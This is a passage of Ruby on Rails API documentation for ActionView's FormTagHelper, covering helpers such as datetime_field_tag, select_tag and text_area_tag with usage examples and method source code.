+      def date_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.merge(type: :date))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + datetime_field_tag(name, value = nil, options = {}) + +

+ + +
+

Creates a text field of type β€œdatetime-local”.

+ +

Options

+ +

Supports the same options as text_field_tag. Additionally, supports:

+
  • +

    :min - The minimum acceptable value.

    +
  • +

    :max - The maximum acceptable value.

    +
  • +

    :step - The acceptable value granularity.

    +
  • +

    :include_seconds - Include seconds in the output timestamp format (true by default).

    +
+ +

Examples

+ +
datetime_field_tag 'name'
+# => <input id="name" name="name" type="datetime-local" />
+
+datetime_field_tag 'datetime', '2014-01-01T01:01'
+# => <input id="datetime" name="datetime" type="datetime-local" value="2014-01-01T01:01" />
+
+datetime_field_tag 'datetime', nil, class: 'special_input'
+# => <input class="special_input" id="datetime" name="datetime" type="datetime-local" />
+
+datetime_field_tag 'datetime', '2014-01-01T01:01', class: 'special_input', disabled: true
+# => <input disabled="disabled" class="special_input" id="datetime" name="datetime" type="datetime-local" value="2014-01-01T01:01" />
+
+
+ + + +
+ Also aliased as: datetime_local_field_tag +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 795
+      def datetime_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.merge(type: "datetime-local"))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + datetime_local_field_tag(name, value = nil, options = {}) + +

+ + +
+ +
+ + + + + +
+ Alias for: datetime_field_tag +
+ + + + +
+ +
+

+ + email_field_tag(name, value = nil, options = {}) + +

+ + +
+

Creates a text field of type β€œemail”.

+ +

Options

+ +

Supports the same options as text_field_tag.

+ +

Examples

+ +
email_field_tag 'name'
+# => <input id="name" name="name" type="email" />
+
+email_field_tag 'email', 'email@example.com'
+# => <input id="email" name="email" type="email" value="email@example.com" />
+
+email_field_tag 'email', nil, class: 'special_input'
+# => <input class="special_input" id="email" name="email" type="email" />
+
+email_field_tag 'email', 'email@example.com', class: 'special_input', disabled: true
+# => <input disabled="disabled" class="special_input" id="email" name="email" type="email" value="email@example.com" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 897
+      def email_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.merge(type: :email))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + field_id(object_name, method_name, *suffixes, index: nil, namespace: nil) + +

+ + +
+

Generate an HTML id attribute value for the given name and field combination

+ +

Return the value generated by the FormBuilder for the given attribute name.

+ +
<%= label_tag :post, :title %>
+<%= text_field :post, :title, aria: { describedby: field_id(:post, :title, :error) } %>
+<%= tag.span("is blank", id: field_id(:post, :title, :error) %>
+
+ +

In the example above, the <input type="text"> element built by the call to text_field declares an aria-describedby attribute referencing the <span> element, sharing a common id root (post_title, in this case).

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 102
+      def field_id(object_name, method_name, *suffixes, index: nil, namespace: nil)
+        if object_name.respond_to?(:model_name)
+          object_name = object_name.model_name.singular
+        end
+
+        sanitized_object_name = object_name.to_s.gsub(/\]\[|[^-a-zA-Z0-9:.]/, "_").delete_suffix("_")
+
+        sanitized_method_name = method_name.to_s.delete_suffix("?")
+
+        [
+          namespace,
+          sanitized_object_name.presence,
+          (index unless sanitized_object_name.empty?),
+          sanitized_method_name,
+          *suffixes,
+        ].tap(&:compact!).join("_")
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + field_name(object_name, method_name, *method_names, multiple: false, index: nil) + +

+ + +
+

Generate an HTML name attribute value for the given name and field combination

+ +

Return the value generated by the FormBuilder for the given attribute name.

+ +
<%= text_field :post, :title, name: field_name(:post, :title, :subtitle) %>
+<%# => <input type="text" name="post[title][subtitle]"> %>
+
+<%= text_field :post, :tag, name: field_name(:post, :tag, multiple: true) %>
+<%# => <input type="text" name="post[tag][]"> %>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 132
+      def field_name(object_name, method_name, *method_names, multiple: false, index: nil)
+        names = method_names.map! { |name| "[#{name}]" }.join
+
+        # a little duplication to construct fewer strings
+        case
+        when object_name.blank?
+          "#{method_name}#{names}#{multiple ? "[]" : ""}"
+        when index
+          "#{object_name}[#{index}][#{method_name}]#{names}#{multiple ? "[]" : ""}"
+        else
+          "#{object_name}[#{method_name}]#{names}#{multiple ? "[]" : ""}"
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + field_set_tag(legend = nil, options = nil, &block) + +

+ + +
+

Creates a field set for grouping HTML form elements.

+ +

legend will become the fieldset’s title (optional as per W3C). options accept the same values as tag.

+ +

Examples

+ +
<%= field_set_tag do %>
+  <p><%= text_field_tag 'name' %></p>
+<% end %>
+# => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset>
+
+<%= field_set_tag 'Your details' do %>
+  <p><%= text_field_tag 'name' %></p>
+<% end %>
+# => <fieldset><legend>Your details</legend><p><input id="name" name="name" type="text" /></p></fieldset>
+
+<%= field_set_tag nil, class: 'format' do %>
+  <p><%= text_field_tag 'name' %></p>
+<% end %>
+# => <fieldset class="format"><p><input id="name" name="name" type="text" /></p></fieldset>
+
+
+ + + +
+ Also aliased as: fieldset_tag +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 638
+      def field_set_tag(legend = nil, options = nil, &block)
+        content = []
+        content << content_tag("legend", legend) unless legend.blank?
+        content << capture(&block) if block_given?
+
+        content_tag(:fieldset, safe_join(content), options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fieldset_tag(legend = nil, options = nil, &block) + +

+ + +
+ +
+ + + + + +
+ Alias for: field_set_tag +
+ + + + +
+ +
+

+ + file_field_tag(name, options = {}) + +

+ + +
+

Creates a file upload field. If you are using file uploads then you will also need to set the multipart option for the form tag:

+ +
<%= form_tag '/upload', multipart: true do %>
+  <label for="file">File to Upload</label> <%= file_field_tag "file" %>
+  <%= submit_tag %>
+<% end %>
+
+ +

The specified URL will then be passed a File object containing the selected file, or if the field was left blank, a StringIO object.

+ +

Options

+
  • +

    Creates standard HTML attributes for the tag.

    +
  • +

    :disabled - If set to true, the user will not be able to use this input.

    +
  • +

    :multiple - If set to true, *in most updated browsers* the user will be allowed to select multiple files.

    +
  • +

    :accept - If set to one or multiple mime-types, the user will be suggested a filter when choosing a file. You still need to set up model validations.

    +
+ +

Examples

+ +
file_field_tag 'attachment'
+# => <input id="attachment" name="attachment" type="file" />
+
+file_field_tag 'avatar', class: 'profile_input'
+# => <input class="profile_input" id="avatar" name="avatar" type="file" />
+
+file_field_tag 'picture', disabled: true
+# => <input disabled="disabled" id="picture" name="picture" type="file" />
+
+file_field_tag 'resume', value: '~/resume.doc'
+# => <input id="resume" name="resume" type="file" value="~/resume.doc" />
+
+file_field_tag 'user_pic', accept: 'image/png,image/gif,image/jpeg'
+# => <input accept="image/png,image/gif,image/jpeg" id="user_pic" name="user_pic" type="file" />
+
+file_field_tag 'file', accept: 'text/html', class: 'upload', value: 'index.html'
+# => <input accept="text/html" class="upload" id="file" name="file" type="file" value="index.html" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 347
+      def file_field_tag(name, options = {})
+        text_field_tag(name, nil, convert_direct_upload_option_to_url(options.merge(type: :file)))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + form_tag(url_for_options = {}, options = {}, &block) + +

+ + +
+

Starts a form tag that points the action to a URL configured with url_for_options just like ActionController::Base#url_for. The method for the form defaults to POST.

+ +

Options

+
  • +

    :multipart - If set to true, the enctype is set to β€œmultipart/form-data”.

    +
  • +

    :method - The method to use when submitting the form, usually either β€œget” or β€œpost”. If β€œpatch”, β€œput”, β€œdelete”, or another verb is used, a hidden input with name _method is added to simulate the verb over post.

    +
  • +

    :authenticity_token - Authenticity token to use in the form. Use only if you need to pass custom authenticity token string, or to not add authenticity_token field at all (by passing false). Remote forms may omit the embedded authenticity token by setting config.action_view.embed_authenticity_token_in_remote_forms = false. This is helpful when you’re fragment-caching the form. Remote forms get the authenticity token from the meta tag, so embedding is unnecessary unless you support browsers without JavaScript.

    +
  • +

    :remote - If set to true, will allow the Unobtrusive JavaScript drivers to control the submit behavior. By default this behavior is an ajax submit.

    +
  • +

    :enforce_utf8 - If set to false, a hidden input with name utf8 is not output.

    +
  • +

    Any other key creates standard HTML attributes for the tag.

    +
+ +

Examples

+ +
form_tag('/posts')
+# => <form action="/posts" method="post">
+
+form_tag('/posts/1', method: :put)
+# => <form action="/posts/1" method="post"> ... <input name="_method" type="hidden" value="put" /> ...
+
+form_tag('/upload', multipart: true)
+# => <form action="/upload" method="post" enctype="multipart/form-data">
+
+<%= form_tag('/posts') do -%>
+  <div><%= submit_tag 'Save' %></div>
+<% end -%>
+# => <form action="/posts" method="post"><div><input type="submit" name="commit" value="Save" /></div></form>
+
+<%= form_tag('/posts', remote: true) %>
+# => <form action="/posts" method="post" data-remote="true">
+
+form_tag(false, method: :get)
+# => <form method="get">
+
+form_tag('http://far.away.com/form', authenticity_token: false)
+# form without authenticity token
+
+form_tag('http://far.away.com/form', authenticity_token: "cf50faa3fe97702ca1ae")
+# form with custom authenticity token
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 78
+      def form_tag(url_for_options = {}, options = {}, &block)
+        html_options = html_options_for_form(url_for_options, options)
+        if block_given?
+          form_tag_with_body(html_options, capture(&block))
+        else
+          form_tag_html(html_options)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + hidden_field_tag(name, value = nil, options = {}) + +

+ + +
+

Creates a hidden form input field used to transmit data that would be lost due to HTTP’s statelessness or data that should be hidden from the user.

+ +

Options

+
  • +

    Creates standard HTML attributes for the tag.

    +
+ +

Examples

+ +
hidden_field_tag 'tags_list'
+# => <input type="hidden" name="tags_list" id="tags_list" autocomplete="off" />
+
+hidden_field_tag 'token', 'VUBJKB23UIVI1UU1VOBVI@'
+# => <input type="hidden" name="token" id="token" value="VUBJKB23UIVI1UU1VOBVI@" autocomplete="off" />
+
+hidden_field_tag 'collected_input', '', onchange: "alert('Input collected!')"
+# => <input type="hidden" name="collected_input" id="collected_input"
+     value="" onchange="alert(&#39;Input collected!&#39;)" autocomplete="off" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 308
+      def hidden_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.merge(type: :hidden, autocomplete: "off"))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + image_submit_tag(source, options = {}) + +

+ + +
+

Displays an image which when clicked will submit the form.

+ +

source is passed to AssetTagHelper#path_to_image

+ +

Options

+
  • +

    :data - This option can be used to add custom data attributes.

    +
  • +

    :disabled - If set to true, the user will not be able to use this input.

    +
  • +

    Any other key creates standard HTML options for the tag.

    +
+ +

Data attributes

+
  • +

    confirm: 'question?' - This will add a JavaScript confirm prompt with the question specified. If the user accepts, the form is processed normally, otherwise no action is taken.

    +
+ +

Examples

+ +
image_submit_tag("login.png")
+# => <input src="/assets/login.png" type="image" />
+
+image_submit_tag("purchase.png", disabled: true)
+# => <input disabled="disabled" src="/assets/purchase.png" type="image" />
+
+image_submit_tag("search.png", class: 'search_button', alt: 'Find')
+# => <input class="search_button" src="/assets/search.png" type="image" />
+
+image_submit_tag("agree.png", disabled: true, class: "agree_disagree_button")
+# => <input class="agree_disagree_button" disabled="disabled" src="/assets/agree.png" type="image" />
+
+image_submit_tag("save.png", data: { confirm: "Are you sure?" })
+# => <input src="/assets/save.png" data-confirm="Are you sure?" type="image" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 612
+      def image_submit_tag(source, options = {})
+        options = options.stringify_keys
+        src = path_to_image(source, skip_pipeline: options.delete("skip_pipeline"))
+        tag :input, { "type" => "image", "src" => src }.update(options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + label_tag(name = nil, content_or_options = nil, options = nil, &block) + +

+ + +
+

Creates a label element. Accepts a block.

+ +

Options

+
  • +

    Creates standard HTML attributes for the tag.

    +
+ +

Examples

+ +
label_tag 'name'
+# => <label for="name">Name</label>
+
+label_tag 'name', 'Your name'
+# => <label for="name">Your name</label>
+
+label_tag 'name', nil, class: 'small_label'
+# => <label for="name" class="small_label">Name</label>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 281
+      def label_tag(name = nil, content_or_options = nil, options = nil, &block)
+        if block_given? && content_or_options.is_a?(Hash)
+          options = content_or_options = content_or_options.stringify_keys
+        else
+          options ||= {}
+          options = options.stringify_keys
+        end
+        options["for"] = sanitize_to_id(name) unless name.blank? || options.has_key?("for")
+        content_tag :label, content_or_options || name.to_s.humanize, options, &block
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + month_field_tag(name, value = nil, options = {}) + +

+ + +
+

Creates a text field of type β€œmonth”.

+ +

Options

+ +

Supports the same options as text_field_tag. Additionally, supports:

+
  • +

    :min - The minimum acceptable value.

    +
  • +

    :max - The maximum acceptable value.

    +
  • +

    :step - The acceptable value granularity.

    +
+ +

Examples

+ +
month_field_tag 'name'
+# => <input id="name" name="name" type="month" />
+
+month_field_tag 'month', '2014-01'
+# => <input id="month" name="month" type="month" value="2014-01" />
+
+month_field_tag 'month', nil, class: 'special_input'
+# => <input class="special_input" id="month" name="month" type="month" />
+
+month_field_tag 'month', '2014-01', class: 'special_input', disabled: true
+# => <input disabled="disabled" class="special_input" id="month" name="month" type="month" value="2014-01" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 824
+      def month_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.merge(type: :month))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + number_field_tag(name, value = nil, options = {}) + +

+ + +
+

Creates a number field.

+ +

Options

+ +

Supports the same options as text_field_tag. Additionally, supports:

+
  • +

    :min - The minimum acceptable value.

    +
  • +

    :max - The maximum acceptable value.

    +
  • +

    :in - A range specifying the :min and :max values.

    +
  • +

    :within - Same as :in.

    +
  • +

    :step - The acceptable value granularity.

    +
+ +

Examples

+ +
number_field_tag 'quantity'
+# => <input id="quantity" name="quantity" type="number" />
+
+number_field_tag 'quantity', '1'
+# => <input id="quantity" name="quantity" type="number" value="1" />
+
+number_field_tag 'quantity', nil, class: 'special_input'
+# => <input class="special_input" id="quantity" name="quantity" type="number" />
+
+number_field_tag 'quantity', nil, min: 1
+# => <input id="quantity" name="quantity" min="1" type="number" />
+
+number_field_tag 'quantity', nil, max: 9
+# => <input id="quantity" name="quantity" max="9" type="number" />
+
+number_field_tag 'quantity', nil, in: 1...10
+# => <input id="quantity" name="quantity" min="1" max="9" type="number" />
+
+number_field_tag 'quantity', nil, within: 1...10
+# => <input id="quantity" name="quantity" min="1" max="9" type="number" />
+
+number_field_tag 'quantity', nil, min: 1, max: 10
+# => <input id="quantity" name="quantity" min="1" max="10" type="number" />
+
+number_field_tag 'quantity', nil, min: 1, max: 10, step: 2
+# => <input id="quantity" name="quantity" min="1" max="10" step="2" type="number" />
+
+number_field_tag 'quantity', '1', class: 'special_input', disabled: true
+# => <input disabled="disabled" class="special_input" id="quantity" name="quantity" type="number" value="1" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 945
+      def number_field_tag(name, value = nil, options = {})
+        options = options.stringify_keys
+        options["type"] ||= "number"
+        if range = options.delete("in") || options.delete("within")
+          options.update("min" => range.min, "max" => range.max)
+        end
+        text_field_tag(name, value, options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + password_field_tag(name = "password", value = nil, options = {}) + +

+ + +
+

Creates a password field, a masked text field that will hide the users input behind a mask character.

+ +

Options

+
  • +

    :disabled - If set to true, the user will not be able to use this input.

    +
  • +

    :size - The number of visible characters that will fit in the input.

    +
  • +

    :maxlength - The maximum number of characters that the browser will allow the user to enter.

    +
  • +

    Any other key creates standard HTML attributes for the tag.

    +
+ +

Examples

+ +
password_field_tag 'pass'
+# => <input id="pass" name="pass" type="password" />
+
+password_field_tag 'secret', 'Your secret here'
+# => <input id="secret" name="secret" type="password" value="Your secret here" />
+
+password_field_tag 'masked', nil, class: 'masked_input_field'
+# => <input class="masked_input_field" id="masked" name="masked" type="password" />
+
+password_field_tag 'token', '', size: 15
+# => <input id="token" name="token" size="15" type="password" value="" />
+
+password_field_tag 'key', nil, maxlength: 16
+# => <input id="key" maxlength="16" name="key" type="password" />
+
+password_field_tag 'confirm_pass', nil, disabled: true
+# => <input disabled="disabled" id="confirm_pass" name="confirm_pass" type="password" />
+
+password_field_tag 'pin', '1234', maxlength: 4, size: 6, class: "pin_input"
+# => <input class="pin_input" id="pin" maxlength="4" name="pin" size="6" type="password" value="1234" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 380
+      def password_field_tag(name = "password", value = nil, options = {})
+        text_field_tag(name, value, options.merge(type: :password))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + phone_field_tag(name, value = nil, options = {}) + +

+ + +
+ +
+ + + + + +
+ Alias for: telephone_field_tag +
+ + + + +
+ +
+

+ + radio_button_tag(name, value, options = {})
radio_button_tag(name, value, checked, options = {}) + + +

+ + +
+

Creates a radio button; use groups of radio buttons named the same to allow users to select from a group of options.

+ +

Options

+
  • +

    :checked - If set to true, the radio button will be selected by default.

    +
  • +

    :disabled - If set to true, the user will not be able to use this input.

    +
  • +

    Any other key creates standard HTML options for the tag.

    +
+ +

Examples

+ +
radio_button_tag 'favorite_color', 'maroon'
+# => <input id="favorite_color_maroon" name="favorite_color" type="radio" value="maroon" />
+
+radio_button_tag 'receive_updates', 'no', true
+# => <input checked="checked" id="receive_updates_no" name="receive_updates" type="radio" value="no" />
+
+radio_button_tag 'time_slot', "3:00 p.m.", false, disabled: true
+# => <input disabled="disabled" id="time_slot_3:00_p.m." name="time_slot" type="radio" value="3:00 p.m." />
+
+radio_button_tag 'color', "green", true, class: "color_input"
+# => <input checked="checked" class="color_input" id="color_green" name="color" type="radio" value="green" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 491
+      def radio_button_tag(name, value, *args)
+        if args.length >= 3
+          raise ArgumentError, "wrong number of arguments (given #{args.length + 2}, expected 2..4)"
+        end
+        options = args.extract_options!
+        checked = args.empty? ? false : args.first
+        html_options = { "type" => "radio", "name" => name, "id" => "#{sanitize_to_id(name)}_#{sanitize_to_id(value)}", "value" => value }.update(options.stringify_keys)
+        html_options["checked"] = "checked" if checked
+        tag :input, html_options
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + range_field_tag(name, value = nil, options = {}) + +

+ + +
+

Creates a range form element.

+ +

Options

+ +

Supports the same options as number_field_tag.

+ +

Examples

+ +
range_field_tag 'quantity', '1'
+# => <input id="quantity" name="quantity" type="range" value="1" />
+
+range_field_tag 'quantity', in: 1...10
+# => <input id="quantity" name="quantity" min="1" max="9" type="range" />
+
+range_field_tag 'quantity', min: 1, max: 10, step: 2
+# => <input id="quantity" name="quantity" min="1" max="10" step="2" type="range"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 970
+      def range_field_tag(name, value = nil, options = {})
+        number_field_tag(name, value, options.merge(type: :range))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + search_field_tag(name, value = nil, options = {}) + +

+ + +
+

Creates a text field of type β€œsearch”.

+ +

Options

+ +

Supports the same options as text_field_tag.

+ +

Examples

+ +
search_field_tag 'name'
+# => <input id="name" name="name" type="search" />
+
+search_field_tag 'search', 'Enter your search query here'
+# => <input id="search" name="search" type="search" value="Enter your search query here" />
+
+search_field_tag 'search', nil, class: 'special_input'
+# => <input class="special_input" id="search" name="search" type="search" />
+
+search_field_tag 'search', 'Enter your search query here', class: 'special_input', disabled: true
+# => <input disabled="disabled" class="special_input" id="search" name="search" type="search" value="Enter your search query here" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 689
+      def search_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.merge(type: :search))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + select_tag(name, option_tags = nil, options = {}) + +

+ + +
+

Creates a dropdown selection box, or if the :multiple option is set to true, a multiple choice selection box.

+ +

Helpers::FormOptions can be used to create common select boxes such as countries, time zones, or associated records. option_tags is a string containing the option tags for the select box.

+ +

Options

+
  • +

    :multiple - If set to true, the selection will allow multiple choices.

    +
  • +

    :disabled - If set to true, the user will not be able to use this input.

    +
  • +

    :include_blank - If set to true, an empty option will be created. If set to a string, the string will be used as the option’s content and the value will be empty.

    +
  • +

    :prompt - Create a prompt option with blank value and the text asking user to select something.

    +
  • +

    Any other key creates standard HTML attributes for the tag.

    +
+ +

Examples

+ +
select_tag "people", options_from_collection_for_select(@people, "id", "name")
+# <select id="people" name="people"><option value="1">David</option></select>
+
+select_tag "people", options_from_collection_for_select(@people, "id", "name", "1")
+# <select id="people" name="people"><option value="1" selected="selected">David</option></select>
+
+select_tag "people", raw("<option>David</option>")
+# => <select id="people" name="people"><option>David</option></select>
+
+select_tag "count", raw("<option>1</option><option>2</option><option>3</option><option>4</option>")
+# => <select id="count" name="count"><option>1</option><option>2</option>
+#    <option>3</option><option>4</option></select>
+
+select_tag "colors", raw("<option>Red</option><option>Green</option><option>Blue</option>"), multiple: true
+# => <select id="colors" multiple="multiple" name="colors[]"><option>Red</option>
+#    <option>Green</option><option>Blue</option></select>
+
+select_tag "locations", raw("<option>Home</option><option selected='selected'>Work</option><option>Out</option>")
+# => <select id="locations" name="locations"><option>Home</option><option selected='selected'>Work</option>
+#    <option>Out</option></select>
+
+select_tag "access", raw("<option>Read</option><option>Write</option>"), multiple: true, class: 'form_input', id: 'unique_id'
+# => <select class="form_input" id="unique_id" multiple="multiple" name="access[]"><option>Read</option>
+#    <option>Write</option></select>
+
+select_tag "people", options_from_collection_for_select(@people, "id", "name"), include_blank: true
+# => <select id="people" name="people"><option value="" label=" "></option><option value="1">David</option></select>
+
+select_tag "people", options_from_collection_for_select(@people, "id", "name"), include_blank: "All"
+# => <select id="people" name="people"><option value="">All</option><option value="1">David</option></select>
+
+select_tag "people", options_from_collection_for_select(@people, "id", "name"), prompt: "Select something"
+# => <select id="people" name="people"><option value="">Select something</option><option value="1">David</option></select>
+
+select_tag "destination", raw("<option>NYC</option><option>Paris</option><option>Rome</option>"), disabled: true
+# => <select disabled="disabled" id="destination" name="destination"><option>NYC</option>
+#    <option>Paris</option><option>Rome</option></select>
+
+select_tag "credit_card", options_for_select([ "VISA", "MasterCard" ], "MasterCard")
+# => <select id="credit_card" name="credit_card"><option>VISA</option>
+#    <option selected="selected">MasterCard</option></select>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 201
+      def select_tag(name, option_tags = nil, options = {})
+        option_tags ||= ""
+        html_name = (options[:multiple] == true && !name.end_with?("[]")) ? "#{name}[]" : name
+
+        if options.include?(:include_blank)
+          include_blank = options[:include_blank]
+          options = options.except(:include_blank)
+          options_for_blank_options_tag = { value: "" }
+
+          if include_blank == true
+            include_blank = ""
+            options_for_blank_options_tag[:label] = " "
+          end
+
+          if include_blank
+            option_tags = content_tag("option", include_blank, options_for_blank_options_tag).safe_concat(option_tags)
+          end
+        end
+
+        if prompt = options.delete(:prompt)
+          option_tags = content_tag("option", prompt, value: "").safe_concat(option_tags)
+        end
+
+        content_tag "select", option_tags, { "name" => html_name, "id" => sanitize_to_id(name) }.update(options.stringify_keys)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + submit_tag(value = "Save changes", options = {}) + +

+ + +
+

Creates a submit button with the text value as the caption.

+ +

Options

+
  • +

    :data - This option can be used to add custom data attributes.

    +
  • +

    :disabled - If true, the user will not be able to use this input.

    +
  • +

    Any other key creates standard HTML options for the tag.

    +
+ +

Examples

+ +
submit_tag
+# => <input name="commit" data-disable-with="Save changes" type="submit" value="Save changes" />
+
+submit_tag "Edit this article"
+# => <input name="commit" data-disable-with="Edit this article" type="submit" value="Edit this article" />
+
+submit_tag "Save edits", disabled: true
+# => <input disabled="disabled" name="commit" data-disable-with="Save edits" type="submit" value="Save edits" />
+
+submit_tag nil, class: "form_submit"
+# => <input class="form_submit" name="commit" type="submit" />
+
+submit_tag "Edit", class: "edit_button"
+# => <input class="edit_button" data-disable-with="Edit" name="commit" type="submit" value="Edit" />
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 525
+      def submit_tag(value = "Save changes", options = {})
+        options = options.deep_stringify_keys
+        tag_options = { "type" => "submit", "name" => "commit", "value" => value }.update(options)
+        set_default_disable_with value, tag_options
+        tag :input, tag_options
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + telephone_field_tag(name, value = nil, options = {}) + +

+ + +
+

Creates a text field of type β€œtel”.

+ +

Options

+ +

Supports the same options as text_field_tag.

+ +

Examples

+ +
telephone_field_tag 'name'
+# => <input id="name" name="name" type="tel" />
+
+telephone_field_tag 'tel', '0123456789'
+# => <input id="tel" name="tel" type="tel" value="0123456789" />
+
+telephone_field_tag 'tel', nil, class: 'special_input'
+# => <input class="special_input" id="tel" name="tel" type="tel" />
+
+telephone_field_tag 'tel', '0123456789', class: 'special_input', disabled: true
+# => <input disabled="disabled" class="special_input" id="tel" name="tel" type="tel" value="0123456789" />
+
+
+ + + +
+ Also aliased as: phone_field_tag +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 712
+      def telephone_field_tag(name, value = nil, options = {})
+        text_field_tag(name, value, options.merge(type: :tel))
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + text_area_tag(name, content = nil, options = {}) + +

+ + +
+

Creates a text input area; use a textarea for longer text inputs such as blog posts or descriptions.

+ +

Options

+
  • +

    :size - A string specifying the dimensions (columns by rows) of the textarea (e.g., β€œ25x10”).

    +
  • +

    :rows - Specify the number of rows in the textarea

    +
  • +

    :cols - Specify the number of columns in the textarea

    +
  • +

    :disabled - If set to true, the user will not be able to use this input.

    +
  • +

    :escape - By default, the contents of the text input are HTML escaped. If you need unescaped contents, set this to false.

    +
  • +

    Any other key creates standard HTML attributes for the tag.

    +
+ +

Examples

+ +
text_area_tag 'post'
+# => <textarea id="post" name="post"></textarea>
+
+text_area_tag 'bio', @user.bio
+# => <textarea id="bio" name="bio">This is my biography.</textarea>
+
+text_area_tag 'body', nil, rows: 10, cols: 25
+# => <textarea cols="25" id="body" name="body" rows="10"></textarea>
+
+text_area_tag 'body', nil, size: "25x10"
+# => <textarea name="body" id="body" cols="25" rows="10"></textarea>
+
+text_area_tag 'description', "Description goes here.", disabled: true
+# => <textarea disabled="disabled" id="description" name="description">Description goes here.</textarea>
+
+text_area_tag 'comment', nil, class: 'comment_input'
+# => <textarea class="comment_input" id="comment" name="comment"></textarea>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionview/lib/action_view/helpers/form_tag_helper.rb, line 413
+      def text_area_tag(name, content = nil, options = {})
+        options = options.stringify_keys
+
+        if size = options.delete("size")
+          options["cols"], options["rows"] = size.split("x") if size.respond_to?(:split)
+        end
+
+        escape = options.delete("escape") { true }
+        content = ERB::Util.html_escape(content) if escape
+
+        content_tag :textarea, content.to_s.html_safe, { "name" => name, "id" => sanitize_to_id(name) }.update(options)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + text_field_tag(name, value = nil, options = {}) + +

+ + +
+

Creates a standard text field; use these text fields to input smaller chunks of text like a username or a search query.

+ +

Options

+
  • +

    :disabled - If set to true, the user will not be able to use this input.

    +
  • +

    :size - The number of visible characters that will fit in the input.

    +
  • +

    :maxlength - The maximum number of characters that the browser will allow the user to enter.

    +
  • +

    :placeholder - The text contained in the field by default which is removed when the field receives focus. If set to true, use the translation found in the current I18n locale (through helpers.placeholder.<modelname>.<attribute>).

    +
  • +

    Any other key creates standard HTML attributes for the tag.

    +
+ +

Examples

+ +
text_field_tag 'name'
+# => <input id="name" name="name" type="text" />
+
+text_field_tag 'query', 'Enter your search query here'
+# => <input id="query" name="query" type="text" value="Enter your search query here" />
+
+text_field_tag 'search', nil, placeholder: 'Enter search term...'
+# => <input id="search" name="search" placeholder="Enter search term..." type="text" />
+
+text_field_tag 'request', nil, class: 'special_input'
+# => <input class="special_input" id="request" name="request" type="text" />
+
+text_field_tag 'address', '', size: 75
+# => <input id="address" name="address" size="75" type="text" value="" />
+
+text_field_tag 'zip', nil, maxlength: 5
+# => <input id="zip" maxlength="5" name="zip" type="text" />
+
+text_field_tag 'payment_amount', '$0.00', disabled: true
+# => <input disabled="disabled" id="payment_amount" name="payment_amount" type="text" value="$0.00" />
+
